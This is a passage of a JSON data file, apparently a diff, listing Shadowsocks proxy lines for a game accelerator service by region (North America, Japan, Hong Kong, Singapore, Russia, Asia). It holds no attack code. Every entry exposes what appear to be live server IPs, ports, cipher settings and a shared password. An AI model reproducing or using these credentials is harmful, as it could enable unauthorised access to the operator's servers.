"dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.225.243.59", + "SIPort": "22406", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "98f86307e4864ad59f4dc82885100fd7", + "Remark": "北美专线588", + "HostName": "103.238.186.110", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10022", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "06b9379237ab41e19d55d5232e95ca75", + "Remark": "北美专线784", + "HostName": "117.143.9.35", + "GeHostName": "", + "PORT": "22411", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10008", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10008", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "4646b2fa7c8347cab619476c1f0168f5", + "Remark": "香港专线992", + "HostName": "59.37.81.100", + "GeHostName": "", + "PORT": "10002", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.191", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "9f4ab01bd9644adf99761cbdb7535a0b", + "Remark": "俄罗斯专线310", + "HostName": "223.71.245.185", + "GeHostName": "", + "PORT": "10008", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "俄罗斯", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10019", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "9ce4e3dc0844463f8107ec83c5e4bca2", + "Remark": "香港专线886", + "HostName": "111.45.30.118", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "停用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.166", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "6e04256253554e78b7a7e4d2c62ef1aa", + "Remark": "新加坡专线135", + "HostName": "183.232.156.113", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "新加坡", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "8f323620ae71414eafe376b914f14f8e", + "Remark": "新加坡专线146", + "HostName": "183.232.156.113", + "GeHostName": "", + "PORT": "22406", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "新加坡", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.178", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "2a6a0c3fad5d4d2dbf7a2f8304807320", + "Remark": "北美专线945", + "HostName": "101.227.72.144", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10025", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "6b1443a940c04cf186ed4d0f22b1fa2f", + "Remark": "北美专线043", + "HostName": "117.143.9.35", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.178", + "dlPORT": "10001", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10008", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "f2e81a57ff9245d48ac924fe518ac41d", + "Remark": "日服专线616", + "HostName": "112.54.160.43", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10015", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "b771335a694742fa88b8a8bee34621a8", + "Remark": "日本专线735", + "HostName": "112.54.160.43", + "GeHostName": "", + "PORT": "10002", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10015", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.255.120.250", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "0f24d77a59334427a67798391a53bda4", + "Remark": "日服专线168", + "HostName": "210.51.35.138", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10012", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "41363e0353704fa5aaa7fccf46f9af35", + "Remark": "北美专线846", + "HostName": "101.227.72.144", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10021", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.255.120.250", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "47c2e2e8024a401cac9f2ba88b997ba9", + "Remark": "北美专线868", + "HostName": "101.227.72.144", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10022", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "121.196.231.68", + "GamedfMethod": "aes-256-gcm", + "GamedfPort": "20404", + "GamedfPassword": "dwz1GtF7", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "5acdb8add8d84d499aff656c01743f34", + "Remark": "日服专线493", + "HostName": "103.238.186.102", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本2", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10014", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "59f80e098cfc42a2888b9a20db7d687e", + "Remark": "日本专线246", + "HostName": "210.51.35.137", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10010", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "04fd114c60214d5790c318e516958c6b", + "Remark": "日服专线239", + "HostName": "117.143.9.6", + "GeHostName": "", + "PORT": "22406", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10014", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "b3c1a4f754ab4035864f06d43fd943ee", + "Remark": "日本专线426", + "HostName": "103.238.186.102", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10014", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "4f257bc225674133b98d1e470843fd35", + "Remark": "亚服专线854", + "HostName": "117.143.9.42", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.124", + "dlPORT": "22407", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "dfac384e4a6c46d8a7d736944eac0c7e", + "Remark": "亚服专线354", + "HostName": "103.238.186.114", + "GeHostName": "", + "PORT": "22410", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "59.37.81.99", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "8eb97f47c8084156b3c2626afb84c6ca", + "Remark": "亚服专线008", + "HostName": "103.238.186.113", + "GeHostName": "", + "PORT": "22410", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "59.37.81.99", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "85451f580c394a119f2d036339c5b5b7", + "Remark": "亚服专线558", + "HostName": "103.238.186.115", + "GeHostName": "", + "PORT": "22411", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.124", + "dlPORT": "22404", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "0cbb60a47b974298878b2a63fea3d91d", + "Remark": "新加坡专线427", + "HostName": "14.119.67.103", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "新加坡", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.164", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + 